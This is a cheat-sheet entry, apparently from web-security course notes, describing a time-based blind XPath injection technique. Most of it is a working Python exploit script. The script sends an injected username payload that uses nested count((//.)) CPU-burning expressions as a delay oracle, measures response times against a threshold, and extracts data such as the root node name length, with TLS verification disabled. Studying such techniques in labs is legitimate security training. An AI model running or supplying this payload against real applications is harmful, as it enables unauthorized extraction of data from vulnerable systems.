Time-based
Time-based blind XPath: nested count() delay oracle
Builds a measurable delay from nested count((//.)[…]) when no sleep() exists, gated behind the test condition with and.
XPath 1.0 has no sleep primitive, so CPU work is forced with deeply nested count((//.)[count(...)]) over every node in the document. Because and is evaluated left-to-right and short-circuits, the heavy DELAY term runs only when expr is TRUE, turning response latency into the oracle. The threshold is calibrated against a known-FALSE baseline so noise does not flip the bit. This oracle() is a drop-in replacement for the boolean-blind one: the length_of(), extract(), and count() helpers work unchanged once latency replaces the success marker, making this the fallback when no visible TRUE/FALSE difference exists.
import requests, urllib3, time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
URL = "https://target/index.php"
# No sleep() in XPath 1.0: burn CPU over (//.) so a TRUE branch is slow.
DELAY = "count((//.)[count((//.)[count((//.)[count((//.)[count((//.)[count((//.))])])])])])"
THRESHOLD = 1.5 # seconds; calibrate against a known-FALSE request
# 'and' short-circuits, so DELAY only runs when expr is TRUE -> response lags.
def oracle(expr):
data = {"username": f"invalid' or {expr} and {DELAY} and '1'='1", "msg": "test"}
start = time.time()
s.post(URL, data=data, verify=False)
return time.time() - start > THRESHOLD
# Drop-in: the boolean-blind length_of()/extract()/count() helpers reuse this.
def length_of(target):
n = 0
while not oracle(f"string-length({target})={n}"):
n += 1
return n
print(f"[*] root name length = {length_of('name(/*[1])')}")oracle signal
TRUE -> request takes > 1.5s
FALSE -> request returns fast (< baseline)Find by: xpath blind time-based timing delay no sleep count nested oracle threshold libxml2 cpu burn · Source: CWEE/XPath Injection - Blind Time Based